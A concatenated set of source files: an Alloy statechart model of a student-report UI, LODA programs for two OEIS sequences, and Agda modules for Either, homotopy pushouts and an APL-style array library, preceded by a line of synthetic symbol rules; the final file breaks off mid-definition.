A72 A99 | A114 A36; A32: A36 A36 | A99 A36; A21: A27 A99 | A122 A36; A52: A99 A20 | A36 A73; A135: A99 A116 | A36 A99; A31: A95 A99 | A89 A36; A24: A99 A107 | A36 A125; A19: A36 A77 | A99 A28; A112: A15 A36 | A15 A99; A89: A99 A50 | A36 A111; A23: A99 A34 | A36 A73; A69: A36 A54 | A99 A73; A85: A12 A99 | A25 A36; A53: A36 A54; A95: A36 A76 | A99 A117; A124: A106 A99 | A22 A36; A10: A102 A99 | A122 A36; A107: A99 A133 | A36 A34; A129: A54 A99 | A71 A36; A16: A36 A130 | A99 A27; A86: A36 A122 | A99 A102; A45: A97 A36 | A41 A99; A102: A99 A99 | A116 A36; A25: A32 A36 | A133 A99; A87: A99 A52 | A36 A115; A119: A91 A99 | A101 A36; A34: A99 A99; A121: A36 A91 | A99 A52; A29: A102 A36 | A27 A99; A20: A116 A116; A47: A36 A36 | A99 A99; A49: A123 A99; A38: A99 A98 | A36 A86; A123: A36 A36 | A36 A99; A48: A36 A123 | A99 A54; A51: A36 A54 | A99 A102; A98: A73 A99 | A47 A36; A26: A20 A99 | A34 A36; A68: A36 A88 | A99 A108; A111: A75 A36 | A5 A99; A54: A99 A36 | A99 A99; A109: A47 A36 | A20 A99; A0: A8 A11; A17: A36 A57 | A99 A120; A66: A99 A132 | A36 A35; A62: A36 A130 | A99 A32; A59: A36 A130 | A99 A122; A44: A99 A60 | A36 A92; A122: A99 A36; A74: A126 A99 | A16 A36; A37: A82 A99 | A85 A36; A65: A130 A36 | A27 A99; A80: A58 A36 | A43 A99; A55: A99 A130 | A36 A20; A118: A66 A36 | A3 A99; A5: A24 A36 | A124 A99; A14: A36 A54 | A99 A71; A11: A42 A31 | A42 A11 A31; A96: A40 A99 | A61 A36; A22: A36 A34 | A99 A135; A97: A36 A27 | A99 A20; A43: A99 A128 | A36 A29; A101: A73 A36 | A133 A99; A91: A133 A36 | A54 A99; A114: A36 A112 | A99 A52; A83: A79 A99 | A74 A36; A28: A134 A99 | A39 A36; A72: A99 A26 | A36 A49; A78: A36 A25 | A99 A90; A30: A102 A99 | A133 A36; A27: A99 A36 | A36 A99; A35: A99 A27 | A36 A15; A84: A2 A36 | A64 A99; A75: A1 A36 | A119 A99; A115: A130 A36 | A71 A99; A39: A99 A84 | A36 A121; A40: A99 A69 | A36 A110; A63: A36 A32; A88: A17 A99 | A93 A36; A120: A53 A99 | A55 A36; A105: A99 A133 | A36 A123; A127: A36 A123 | A99 A47; A134: A99 A46 | A36 A45; A50: A36 A33 | A99 A138; A82: A131 A99 | A59 A36; A104: A122 A99 | A27 A36; A8: A42 | A42 A8; A113: A34 A36 | A123 A99; A125: A99 A123 | A36 A54; A64: A54 A36; A46: A36 A10 | A99 A107; A130: A99 A36 | A36 A116; A18: A36 A54 | A99 A34; A110: A99 A34 | A36 A27; A136: A99 A15 | A36 A73; A132: A122 A36 | A133 A99; A128: A15 A99 | A102 A36; A57: A36 A56 | A99 A67; A100: A99 A63 | A36 A137; A60: A7 A99 | A63 A36; A90: A36 A122 | A99 A133; A41: A34 A36; A138: A99 A94 | A36 A13;
model-sets/2021-05-06-10-28-11-watform/SnapshotUI_nancy.als
WatForm/catalyst
0
1664
open util/steps[Snapshot] open util/ordering[Snapshot] // Snapshot definition sig Snapshot extends BaseSnapshot { events: set EventLabel, } /***************************** STATE SPACE ************************************/ abstract sig SystemState extends StateLabel {} abstract sig SnapshotUI extends SystemState {} one sig SnapshotUI_LoginPage extends SnapshotUI {} abstract sig SnapshotUI_Snapshot extends SnapshotUI {} abstract sig SnapshotUI_Snapshot_Reports extends SnapshotUI_Snapshot {} one sig SnapshotUI_Snapshot_Reports_Summary extends SnapshotUI_Snapshot_Reports {} one sig SnapshotUI_Snapshot_Reports_Students extends SnapshotUI_Snapshot_Reports {} one sig SnapshotUI_Snapshot_Reports_Standards extends SnapshotUI_Snapshot_Reports {} one sig SnapshotUI_Snapshot_Answers extends SnapshotUI_Snapshot {} /***************************** EVENTS SPACE ***********************************/ one sig SnapshotUI_login extends EnvironmentEvent {} one sig SnapshotUI_logout extends EnvironmentEvent {} one sig SnapshotUI_summary extends EnvironmentEvent {} one sig SnapshotUI_students extends EnvironmentEvent {} one sig SnapshotUI_close extends EnvironmentEvent {} one sig SnapshotUI_answer extends EnvironmentEvent {} one sig SnapshotUI_standards extends EnvironmentEvent {} /*************************** TRANSITIONS SPACE ********************************/ one sig SnapshotUI_LoginPage_Login extends TransitionLabel {} one sig SnapshotUI_Snapshot_Logout extends TransitionLabel {} one sig SnapshotUI_Snapshot_Reports_SeeSummary extends TransitionLabel {} one sig SnapshotUI_Snapshot_Reports_SeeStudents extends TransitionLabel {} one sig SnapshotUI_Snapshot_Reports_SeeStandards extends TransitionLabel {} one sig SnapshotUI_Snapshot_Reports_Students_SeeAnswers extends TransitionLabel {} one sig SnapshotUI_Snapshot_Answers_SeeStudents extends TransitionLabel {} // Transition SnapshotUI_LoginPage_Login pred pre_SnapshotUI_LoginPage_Login[s:Snapshot] { SnapshotUI_LoginPage in s.conf SnapshotUI_login in (s.events & EnvironmentEvent) } pred pos_SnapshotUI_LoginPage_Login[s, s':Snapshot] { s'.conf = s.conf - SnapshotUI_LoginPage + { SnapshotUI_Snapshot_Reports_Summary } no ((s'.events & InternalEvent) ) } pred SnapshotUI_LoginPage_Login[s, s': Snapshot] { pre_SnapshotUI_LoginPage_Login[s] pos_SnapshotUI_LoginPage_Login[s, s'] semantics_SnapshotUI_LoginPage_Login[s, s'] } pred semantics_SnapshotUI_LoginPage_Login[s, s': Snapshot] { s'.taken = SnapshotUI_LoginPage_Login } // Transition SnapshotUI_Snapshot_Logout pred pre_SnapshotUI_Snapshot_Logout[s:Snapshot] { (some SnapshotUI_Snapshot & s.conf) SnapshotUI_logout in (s.events & EnvironmentEvent) } pred pos_SnapshotUI_Snapshot_Logout[s, s':Snapshot] { s'.conf = s.conf - SnapshotUI_Snapshot + { SnapshotUI_LoginPage } no ((s'.events & InternalEvent) ) } pred SnapshotUI_Snapshot_Logout[s, s': Snapshot] { pre_SnapshotUI_Snapshot_Logout[s] pos_SnapshotUI_Snapshot_Logout[s, s'] semantics_SnapshotUI_Snapshot_Logout[s, s'] } pred semantics_SnapshotUI_Snapshot_Logout[s, s': Snapshot] { s'.taken = SnapshotUI_Snapshot_Logout // Priority "SOURCE-PARENT" semantics !pre_SnapshotUI_Snapshot_Reports_SeeStandards[s] !pre_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s] !pre_SnapshotUI_Snapshot_Reports_SeeStudents[s] !pre_SnapshotUI_Snapshot_Reports_SeeSummary[s] !pre_SnapshotUI_Snapshot_Answers_SeeStudents[s] } // Transition SnapshotUI_Snapshot_Reports_SeeSummary pred pre_SnapshotUI_Snapshot_Reports_SeeSummary[s:Snapshot] { (some SnapshotUI_Snapshot_Reports & s.conf) SnapshotUI_summary in (s.events & EnvironmentEvent) } pred pos_SnapshotUI_Snapshot_Reports_SeeSummary[s, s':Snapshot] { s'.conf = s.conf - SnapshotUI_Snapshot_Reports + { SnapshotUI_Snapshot_Reports_Summary } no ((s'.events & InternalEvent) ) } pred SnapshotUI_Snapshot_Reports_SeeSummary[s, s': Snapshot] { pre_SnapshotUI_Snapshot_Reports_SeeSummary[s] pos_SnapshotUI_Snapshot_Reports_SeeSummary[s, s'] semantics_SnapshotUI_Snapshot_Reports_SeeSummary[s, s'] } pred semantics_SnapshotUI_Snapshot_Reports_SeeSummary[s, s': Snapshot] { s'.taken = SnapshotUI_Snapshot_Reports_SeeSummary // Priority "SOURCE-PARENT" semantics !pre_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s] } // Transition SnapshotUI_Snapshot_Reports_SeeStudents pred pre_SnapshotUI_Snapshot_Reports_SeeStudents[s:Snapshot] { (some SnapshotUI_Snapshot_Reports & s.conf) SnapshotUI_students in (s.events & EnvironmentEvent) } pred pos_SnapshotUI_Snapshot_Reports_SeeStudents[s, s':Snapshot] { s'.conf = s.conf - SnapshotUI_Snapshot_Reports + { SnapshotUI_Snapshot_Reports_Students } no ((s'.events & InternalEvent) ) } pred SnapshotUI_Snapshot_Reports_SeeStudents[s, s': Snapshot] { pre_SnapshotUI_Snapshot_Reports_SeeStudents[s] pos_SnapshotUI_Snapshot_Reports_SeeStudents[s, s'] semantics_SnapshotUI_Snapshot_Reports_SeeStudents[s, s'] } pred semantics_SnapshotUI_Snapshot_Reports_SeeStudents[s, s': Snapshot] { s'.taken = SnapshotUI_Snapshot_Reports_SeeStudents // Priority "SOURCE-PARENT" semantics !pre_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s] } // Transition SnapshotUI_Snapshot_Reports_SeeStandards pred pre_SnapshotUI_Snapshot_Reports_SeeStandards[s:Snapshot] { (some SnapshotUI_Snapshot_Reports & s.conf) SnapshotUI_standards in (s.events & EnvironmentEvent) } pred pos_SnapshotUI_Snapshot_Reports_SeeStandards[s, s':Snapshot] { s'.conf = s.conf - SnapshotUI_Snapshot_Reports + { SnapshotUI_Snapshot_Reports_Standards } no ((s'.events & InternalEvent) ) } pred SnapshotUI_Snapshot_Reports_SeeStandards[s, s': Snapshot] { pre_SnapshotUI_Snapshot_Reports_SeeStandards[s] pos_SnapshotUI_Snapshot_Reports_SeeStandards[s, s'] semantics_SnapshotUI_Snapshot_Reports_SeeStandards[s, s'] } pred semantics_SnapshotUI_Snapshot_Reports_SeeStandards[s, s': Snapshot] { s'.taken = SnapshotUI_Snapshot_Reports_SeeStandards // Priority "SOURCE-PARENT" semantics !pre_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s] } // Transition SnapshotUI_Snapshot_Reports_Students_SeeAnswers pred pre_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s:Snapshot] { SnapshotUI_Snapshot_Reports_Students in s.conf SnapshotUI_answer in (s.events & EnvironmentEvent) } pred pos_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s, s':Snapshot] { s'.conf = s.conf - SnapshotUI_Snapshot_Reports + { SnapshotUI_Snapshot_Answers } no ((s'.events & InternalEvent) ) } pred SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s, s': Snapshot] { pre_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s] pos_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s, s'] semantics_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s, s'] } pred semantics_SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s, s': Snapshot] { s'.taken = SnapshotUI_Snapshot_Reports_Students_SeeAnswers } // Transition SnapshotUI_Snapshot_Answers_SeeStudents pred pre_SnapshotUI_Snapshot_Answers_SeeStudents[s:Snapshot] { SnapshotUI_Snapshot_Answers in s.conf SnapshotUI_close in (s.events & EnvironmentEvent) } pred pos_SnapshotUI_Snapshot_Answers_SeeStudents[s, s':Snapshot] { s'.conf = s.conf - SnapshotUI_Snapshot_Answers + { SnapshotUI_Snapshot_Reports_Students } no ((s'.events & InternalEvent) ) } pred SnapshotUI_Snapshot_Answers_SeeStudents[s, s': Snapshot] { pre_SnapshotUI_Snapshot_Answers_SeeStudents[s] pos_SnapshotUI_Snapshot_Answers_SeeStudents[s, s'] semantics_SnapshotUI_Snapshot_Answers_SeeStudents[s, s'] } pred semantics_SnapshotUI_Snapshot_Answers_SeeStudents[s, s': Snapshot] { s'.taken = SnapshotUI_Snapshot_Answers_SeeStudents } /****************************** INITIAL CONDITIONS ****************************/ pred init[s: Snapshot] { s.conf = { SnapshotUI_LoginPage } no s.taken no s.events & InternalEvent } /***************************** MODEL DEFINITION *******************************/ pred operation[s, s': Snapshot] { SnapshotUI_LoginPage_Login[s, s'] or SnapshotUI_Snapshot_Logout[s, s'] or SnapshotUI_Snapshot_Reports_SeeSummary[s, s'] or SnapshotUI_Snapshot_Reports_SeeStudents[s, s'] or SnapshotUI_Snapshot_Reports_SeeStandards[s, s'] or SnapshotUI_Snapshot_Reports_Students_SeeAnswers[s, s'] or SnapshotUI_Snapshot_Answers_SeeStudents[s, s'] } pred small_step[s, s': Snapshot] { operation[s, s'] } pred equals[s, s': Snapshot] { s'.conf = s.conf s'.events = s.events s'.taken = s.taken } fact { all s: Snapshot | s in initial iff init[s] all s, s': Snapshot | s->s' in nextStep iff small_step[s, s'] all s, s': Snapshot | equals[s, s'] => s = s' path } pred path { all s:Snapshot, s': s.next | operation[s, s'] init[first] } run path for 5 Snapshot, 7 EventLabel expect 1 assert noSkippingStudentsReport { ctl_mc[ag[{ (imp_ctl[ (ex[{ s: Snapshot | SnapshotUI_Snapshot_Answers in s.conf}]), {s: Snapshot | SnapshotUI_Snapshot_Reports_Students in s.conf} ])}]] } check noSkippingStudentsReport for 10 expect 0 pred logOutLogIn { ctl_mc[ef[{ (and_ctl[ ex[{ s: Snapshot | (SnapshotUI_LoginPage in s.conf)}], ex[{ (ex[{ s: Snapshot | (some x : SnapshotUI_Snapshot | x in s.conf)}])}] ])}]] } run logOutLogIn for 6 expect 1
oeis/279/A279507.asm
neoneye/loda-programs
11
7517
<reponame>neoneye/loda-programs ; A279507: a(n) = floor(phi(n)/tau(n)). ; Submitted by <NAME>(s3.) ; 1,0,1,0,2,0,3,1,2,1,5,0,6,1,2,1,8,1,9,1,3,2,11,1,6,3,4,2,14,1,15,2,5,4,6,1,18,4,6,2,20,1,21,3,4,5,23,1,14,3,8,4,26,2,10,3,9,7,29,1,30,7,6,4,12,2,33,5,11,3,35,2,36,9,6,6,15,3,39,3,10,10,41,2,16,10,14,5,44,2,18,7,15,11,18,2,48,7,10,4 mov $1,$0 seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. seq $1,10 ; Euler totient function phi(n): count numbers <= n and prime to n. div $1,$0 mov $0,$1
prototyping/FFI/Data/Either.agda
Tr4shh/Roblox-Luau
1
12157
<filename>prototyping/FFI/Data/Either.agda module FFI.Data.Either where {-# FOREIGN GHC import qualified Data.Either #-} data Either (A B : Set) : Set where Left : A → Either A B Right : B → Either A B {-# COMPILE GHC Either = data Data.Either.Either (Data.Either.Left|Data.Either.Right) #-} mapLeft : ∀ {A B C} → (A → B) → (Either A C) → (Either B C) mapLeft f (Left x) = Left (f x) mapLeft f (Right x) = Right x mapRight : ∀ {A B C} → (B → C) → (Either A B) → (Either A C) mapRight f (Left x) = Left x mapRight f (Right x) = Right (f x)
old/Homotopy/PushoutDef.agda
UlrikBuchholtz/HoTT-Agda
294
9928
{-# OPTIONS --without-K #-} open import Base module Homotopy.PushoutDef where record pushout-diag (i : Level) : Set (suc i) where constructor diag_,_,_,_,_ field A : Set i B : Set i C : Set i f : C → A g : C → B pushout-diag-raw-eq : ∀ {i} {A A' : Set i} (p : A ≡ A') {B B' : Set i} (q : B ≡ B') {C C' : Set i} (r : C ≡ C') {f : C → A} {f' : C' → A'} (s : f' ◯ transport _ r ≡ transport _ p ◯ f) {g : C → B} {g' : C' → B'} (t : transport _ q ◯ g ≡ g' ◯ transport _ r) → (diag A , B , C , f , g) ≡ (diag A' , B' , C' , f' , g') pushout-diag-raw-eq refl refl refl refl refl = refl pushout-diag-eq : ∀ {i} {A A' : Set i} (p : A ≃ A') {B B' : Set i} (q : B ≃ B') {C C' : Set i} (r : C ≃ C') {f : C → A} {f' : C' → A'} (s : (a : C) → f' (π₁ r a) ≡ (π₁ p) (f a)) {g : C → B} {g' : C' → B'} (t : (b : C) → (π₁ q) (g b) ≡ g' (π₁ r b)) → (diag A , B , C , f , g) ≡ (diag A' , B' , C' , f' , g') pushout-diag-eq p q r {f} {f'} s {g} {g'} t = pushout-diag-raw-eq (eq-to-path p) (eq-to-path q) (eq-to-path r) (funext (λ a → ap f' (trans-id-eq-to-path r a) ∘ (s a ∘ ! (trans-id-eq-to-path p (f a))))) (funext (λ b → trans-id-eq-to-path q (g b) ∘ (t b ∘ ap g' (! (trans-id-eq-to-path r b))))) module Pushout {i} {d : pushout-diag i} where open pushout-diag d private data #pushout : Set i where #left : A → #pushout #right : B → #pushout pushout : Set _ pushout = #pushout left : A → pushout left = #left right : B → pushout right = #right postulate -- HIT glue : (c : C) → left (f c) ≡ right (g c) pushout-rec : ∀ {l} (P : pushout → Set l) (left* : (a : A) → P (left a)) (right* : (b : B) → P (right b)) (glue* : (c : C) → transport P (glue c) (left* (f c)) ≡ right* (g c)) → (x : pushout) → P x pushout-rec P left* right* glue* (#left y) = left* y pushout-rec P left* right* glue* (#right y) = right* y postulate -- HIT pushout-β-glue : ∀ {l} (P : pushout → Set l) (left* : (a : A) → P (left a)) (right* : (b : B) → P (right b)) (glue* : (c : C) → transport P (glue c) (left* (f c)) ≡ right* (g c)) (c : C) → apd (pushout-rec {l} P left* right* glue*) (glue c) ≡ glue* c pushout-rec-nondep : ∀ {l} (D : Set l) (left* : A → D) (right* : B → D) (glue* : (c : C) → left* (f c) ≡ right* (g c)) → (pushout → D) pushout-rec-nondep D left* right* glue* (#left y) = left* y pushout-rec-nondep D left* right* glue* (#right y) = right* y postulate -- HIT pushout-β-glue-nondep : ∀ {l} (D : Set l) (left* : A → D) (right* : B → D) (glue* : (c : C) → left* (f c) ≡ right* (g c)) (c : C) → ap (pushout-rec-nondep D left* right* glue*) (glue c) ≡ glue* c open Pushout public hiding (pushout) pushout : ∀ {i} (d : pushout-diag i) → Set i pushout d = Pushout.pushout {_} {d}
oeis/062/A062143.asm
neoneye/loda-programs
11
171146
<filename>oeis/062/A062143.asm<gh_stars>10-100 ; A062143: Fifth column sequence of coefficient triangle A062137 of generalized Laguerre polynomials n!*L(n,3,x). ; Submitted by <NAME> ; 1,40,1080,25200,554400,11975040,259459200,5708102400,128432304000,2968213248000,70643475302400,1733976211968000,43927397369856000,1148870392750080000,31019500604252160000,864410083505160192000,24851789900773355520000,736782477058221834240000,22512797910112333824000000,708560692118272401408000000,22957366424632025805619200000,765245547487734193520640000000,26227051945715980996116480000000,923648351131736722037145600000000,33405282032597811447010099200000000,1240004069050030760913014882304000000 mov $1,$0 add $0,7 bin $0,$1 add $1,4 lpb $1 mul $0,$1 sub $1,1 lpe div $0,6 sub $0,4 div $0,4 add $0,1
APL2.agda
ashinkarov/agda-extractor
1
4336
open import Data.Nat as N using (ℕ; zero; suc; _<_; _≤_; _>_; z≤n; s≤s; _∸_) open import Data.Nat.Properties as N open import Data.Vec as V using (Vec; []; _∷_) open import Data.Vec.Properties as V open import Data.Fin as F using (Fin; zero; suc) import Data.Fin.Properties as F open import Data.List as L using (List; []; _∷_) open import Data.Unit using (⊤; tt) open import Data.Nat.Properties import Data.Nat.DivMod as N open import Data.Bool using (Bool; true; false) open import Data.Product renaming (_×_ to _⊗_) open import Relation.Binary.PropositionalEquality -- using (≡-Reasoning; _≡_; refl; cong; sym; subst; subst₂) -- (Extensionality) open import Relation.Nullary open import Relation.Nullary.Decidable open import Relation.Nullary.Negation open import Function open import Reflection open import Level using () renaming (zero to ℓ0; suc to lsuc) open import Array.Base open import Array.Properties open import Agda.Builtin.Float data dy-args : ∀ m n → Vec ℕ m → Vec ℕ n → Set where n-n : ∀ {n s} → dy-args n n s s n-0 : ∀ {n s} → dy-args n 0 s [] 0-n : ∀ {n s} → dy-args 0 n [] s dy-args-dim : ∀ {m n sx sy} → dy-args m n sx sy → ℕ dy-args-dim {m} n-n = m dy-args-dim {m} n-0 = m dy-args-dim {m}{n} 0-n = n dy-args-shp : ∀ {m n sx sy} → (dy : dy-args m n sx sy) → Vec ℕ (dy-args-dim dy) dy-args-shp {m}{n}{sx} n-n = sx dy-args-shp {m}{n}{sx} n-0 = sx dy-args-shp {m}{n}{sx}{sy} 0-n = sy dy-args-ok? : Term → TC ⊤ dy-args-ok? hole = do goal ← inferType hole def (quote dy-args) (vArg m ∷ vArg n ∷ vArg sx ∷ vArg sy ∷ []) ← reduce goal where _ → typeError (strErr "expected dy-args expression in goal, found:" ∷ termErr goal ∷ []) reduce m >>= λ where (lit (nat 0)) → unify hole (con (quote 0-n) []) (meta id _) → blockOnMeta id m → reduce n >>= λ where (lit (nat 0)) → unify hole (con (quote n-0) []) (meta id _) → blockOnMeta id n → do catchTC (unify m n) (typeError (strErr "no valid dy-args found for goal: " ∷ termErr goal ∷ [])) -- XXX we could further check that sx and sy unify as well, however, this would -- fail later if they don't. unify hole (con (quote n-n) []) dy-type : ∀ a → Set a → Set a dy-type a X = ∀ {m n sx sy} {@(tactic dy-args-ok?) args : dy-args m n sx sy} → Ar X m sx → Ar X n sy → Ar X _ (dy-args-shp args) lift′ : ∀ {a}{X : Set a} → (_⊕_ : X → X → X) → dy-type a X lift′ _⊕_ {args = n-n} (imap a) (imap b) = imap λ iv → a iv ⊕ b iv lift′ _⊕_ {args = n-0} (imap a) (imap b) = imap λ iv → a iv ⊕ b [] lift′ _⊕_ {args = 0-n} (imap a) (imap b) = imap λ iv → a [] ⊕ b iv Scal : ∀ {a} → Set a → Set a Scal X = Ar X 0 [] --scal : ∀ {a}{X : Set a} → X → Scal X --scal = cst --unscal : ∀ {a}{X : Set a} → Scal X → X --unscal (imap f) = f [] --module reduce-split where -- split-thm : ∀ m n → (m N.⊓ n) N.+ (n N.∸ m) ≡ n -- split-thm zero n = refl -- split-thm (suc m) zero = refl -- split-thm (suc m) (suc n) = cong suc (split-thm m n) -- -- {-# REWRITE split-thm #-} -- -- split : ∀ {X : Set}{n} → (m : ℕ) → (xy : Vec X n) -- → ∃₂ λ (x : Vec X (m N.⊓ n)) (y : Vec X (n N.∸ m)) → x V.++ y ≡ xy -- split zero xy = [] , xy , refl -- split {n = zero} (suc m) xy = [] , xy , refl -- split {X = X}{n = suc n} (suc m) (x ∷ xy) with split m xy -- ... | xs , ys , refl = x ∷ xs , ys , refl -- -- split-axis : ∀ m → (k : Fin m) → ∃₂ λ l r → l N.+ 1 N.+ r ≡ m -- split-axis zero () -- split-axis (suc m) zero = 0 , m , refl -- split-axis (suc m) (suc k) with split-axis m k -- ... | l' , r' , refl = suc l' , r' , refl -- -- -- split-vec : ∀ {l r}{X : Set} → (xyz : Vec X (l N.+ 1 N.+ r)) -- → Σ[ x ∈ Vec X l ] Σ[ y ∈ Vec X 1 ] Σ[ z ∈ Vec X r ] ((x V.++ y) V.++ z ≡ xyz) -- split-vec {zero} {r} (h ∷ t) = [] , (h ∷ []) , t , refl -- split-vec {suc l} {r} (h ∷ t) with split-vec {l = l} t -- ... | l' , m' , r' , refl = h ∷ l' , m' , r' , refl data SVup (X : Set) : Set → (d : ℕ) → (sh : Vec ℕ d) → Set where instance scal : SVup X X 0 [] vect : ∀ {n} → SVup X (Vec X n) 1 (n ∷ []) arry : ∀ {d s} → SVup X (Ar X d s) d s -- XXX do we need the id case for arrays themselves? infixr 30 ▴_ ▴_ : ∀ {X A d s}{{t : SVup X A d s}} → A → Ar X d s ▴_ ⦃ t = scal ⦄ a = cst a --imap λ _ → a ▴_ ⦃ t = vect ⦄ a = imap λ iv → V.lookup a $ ix-lookup iv zero --imap λ where (i ∷ []) → V.lookup a i ▴_ ⦃ t = arry ⦄ a = a {- data SVdown (X : Set) : (d : ℕ) → (sh : Vec ℕ d) → Set → Set where instance scal : SVdown X 0 [] X vect : ∀ {n} → SVdown X 1 (n ∷ []) (Vec X n) -- XXX do we need the id case for arrays themselves? -} infixr 30 ▾_ ▾_ : ∀ {X A d s}{{t : SVup X A d s}} → Ar X d s → A ▾_ ⦃ t = scal ⦄ (imap a) = a [] ▾_ ⦃ t = vect ⦄ (imap a) = V.tabulate λ i → a $ i ∷ [] ▾_ ⦃ t = arry ⦄ a = a -- FIXME These cases are missing -- Ar X 1 [n] + Vec X 0 -- Ar X 1 [n] + Vec X 1 -- Ar X 1 [n] + Vec X n -- FIXME we should allow for different types of lhs and rhs and result, -- e.g. replicate : ℕ → Char → String (not critical, but would be nice). -- FIXME we can add the cases when indices are added with scalars/arrays/vectors. -- -- Simplify handling concatenation of `Prog`s and `String`s data DyScalVec (X : Set) : Set → Set → (d : ℕ) → (sh : Vec ℕ d) → Set where instance s-s : DyScalVec X X X 0 [] s-v : ∀ {n} → DyScalVec X X (Vec X n) 1 (n ∷ []) s-a : ∀ {d s} → DyScalVec X X (Ar X d s) d s v-s : ∀ {n} → DyScalVec X (Vec X n) X 1 (n ∷ []) v-v : ∀ {n} → DyScalVec X (Vec X n) (Vec X n) 1 (n ∷ []) -- v-a : X (Ar X 1 (n ∷ [])) (Vec X n) 1 (n ∷ []) a-s : ∀ {d s} → DyScalVec X (Ar X d s) X d s -- a-v : X (Vec X n) (Ar X 1 (n ∷ [])) 1 (n ∷ []) a-a : ∀ {m n sx sy}{@(tactic dy-args-ok?) args : dy-args m n sx sy} → DyScalVec X (Ar X m sx) (Ar X n sy) (dy-args-dim args) (dy-args-shp args) ▴ₗ : ∀ {X A B d s} {{t : DyScalVec X A B d s}} → A → Ar X d s ▴ₗ {{s-s}} a = cst a ▴ₗ {{s-v}} a = cst a ▴ₗ {{s-a}} a = cst a ▴ₗ {{v-s}} a = ▴ a ▴ₗ {{v-v}} a = ▴ a ▴ₗ {{a-s}} a = a ▴ₗ ⦃ t = a-a {args = n-n} ⦄ a = a ▴ₗ ⦃ t = a-a {args = n-0} ⦄ a = a ▴ₗ ⦃ t = a-a {args = 0-n} ⦄ a = cst (sel a []) ▴ᵣ : ∀ {X A B d s} {{t : DyScalVec X A B d s}} → B → Ar X d s ▴ᵣ {{s-s}} b = cst b ▴ᵣ {{s-v}} b = ▴ b ▴ᵣ {{s-a}} b = b ▴ᵣ {{v-s}} b = cst b ▴ᵣ {{v-v}} b = ▴ b ▴ᵣ {{a-s}} b = cst b ▴ᵣ ⦃ t = a-a {args = n-n} ⦄ b = b ▴ᵣ ⦃ t = a-a {args = n-0} ⦄ b = cst (sel b []) ▴ᵣ ⦃ t = a-a {args = 0-n} ⦄ b = b --infixr 20 _-′_ --_-′_ = lift′ N._∸_ _-safe-_ : (a : ℕ) → (b : ℕ) .{≥ : a N.≥ b} → ℕ a -safe- b = a N.∸ b {- infixr 20 _-ₙ_ _-ₙ_ : ∀ {n}{s} → (a : Ar ℕ n s) → (b : Ar ℕ n s) → .{≥ : a ≥a b} → Ar ℕ n s (imap f -ₙ imap g) {≥} = imap λ iv → (f iv -safe- g iv) {≥ = ≥ iv} -} ---- FIXME: I guess we can eliminate _-′_ and lift′ entirely by inlining definitions. --infixr 20 _-_ --_-_ : ∀ {A B d s}{{t : DyScalVec ℕ A B d s}} → (a : A) → (b : B) → .{≥ : ▴ₗ a ≥a ▴ᵣ b} → Ar ℕ d s --_-_ ⦃ t = s-s ⦄ a b {a≥b} = imap λ iv → (a -safe- b) {a≥b iv} --_-_ ⦃ t = s-v ⦄ a b {a≥b} = imap λ iv → (a -safe- sel (▴ b) iv) {a≥b iv} --_-_ ⦃ t = s-a ⦄ a b {a≥b} = imap λ iv → (a -safe- sel b iv) {a≥b iv} --= ▴ a -′ b --_-_ ⦃ t = v-s ⦄ a b {a≥b} = imap λ iv → (sel (▴ a) iv -safe- b) {a≥b iv} -- = ▴ a -′ ▴ b --_-_ ⦃ t = v-v ⦄ a b {a≥b} = imap λ iv → (sel (▴ a) iv -safe- sel (▴ b) iv) {a≥b iv} --= ▴ a -′ ▴ b --_-_ ⦃ t = a-s ⦄ a b {a≥b} = imap λ iv → (sel a iv -safe- b) {a≥b iv} --= a -′ ▴ b --_-_ ⦃ t = a-a {args = n-n} ⦄ a b {a≥b} = imap λ iv → (sel a iv -safe- sel b iv) {a≥b iv} --_-_ ⦃ t = a-a {args = n-0} ⦄ a b {a≥b} = imap λ iv → (sel a iv -safe- sel b []) {a≥b iv} --_-_ ⦃ t = a-a {args = 0-n} ⦄ a b {a≥b} = imap λ iv → (sel a [] -safe- sel b iv) {a≥b iv} infixr 20 _-_ _-_ : ∀ {A B d s}{{t : DyScalVec ℕ A B d s}} → (a : A) → (b : B) → .{≥ : ▴ₗ a ≥a ▴ᵣ b} → Ar ℕ d s _-_ ⦃ t = s-s ⦄ a b = imap λ iv → (a N.∸ b) _-_ ⦃ t = s-v ⦄ a b = imap λ iv → (a N.∸ sel (▴ b) iv) _-_ ⦃ t = s-a ⦄ a b = imap λ iv → (a N.∸ sel b iv) _-_ ⦃ t = v-s ⦄ a b = imap λ iv → (sel (▴ a) iv N.∸ b) _-_ ⦃ t = v-v ⦄ a b = imap λ iv → (sel (▴ a) iv N.∸ sel (▴ b) iv) _-_ ⦃ t = a-s ⦄ a b = imap λ iv → (sel a iv N.∸ b) _-_ ⦃ t = a-a {args = n-n} ⦄ a b = imap λ iv → (sel a iv N.∸ sel b iv) _-_ ⦃ t = a-a {args = n-0} ⦄ a b = imap λ iv → (sel a iv N.∸ sel b []) _-_ ⦃ t = a-a {args = 0-n} ⦄ a b = imap λ iv → (sel a [] N.∸ sel b iv) -- _-′_ {args = args} a b lift : ∀ {X A B d s}{{t : DyScalVec X A B d s}} → A → B → (_⊕_ : X → X → X) → Ar X d s lift ⦃ t ⦄ a b _⊕_ = imap λ iv → sel (▴ₗ a) iv ⊕ sel (▴ᵣ b) iv -- ℕ operations infixr 20 _+_ _×_ _+_ _×_ : ∀ {A B d s}{{t : DyScalVec ℕ A B d s}} → A → B → Ar ℕ d s a + b = lift a b N._+_ a × b = lift a b N._*_ -- Float operations infixr 20 _+ᵣ_ _-ᵣ_ _×ᵣ_ _÷ᵣ_ _+ᵣ_ _-ᵣ_ _×ᵣ_ _÷ᵣ_ : ∀ {A B d s}{{t : DyScalVec Float A B d s}} → A → B → Ar Float d s a +ᵣ b = lift a b primFloatPlus a -ᵣ b = lift a b primFloatMinus a ×ᵣ b = lift a b primFloatTimes -- XXX we can request the proof that the right argument is not zero. -- However, the current primFloatDiv has the type Float → Float → Float, so... a ÷ᵣ b = lift a b 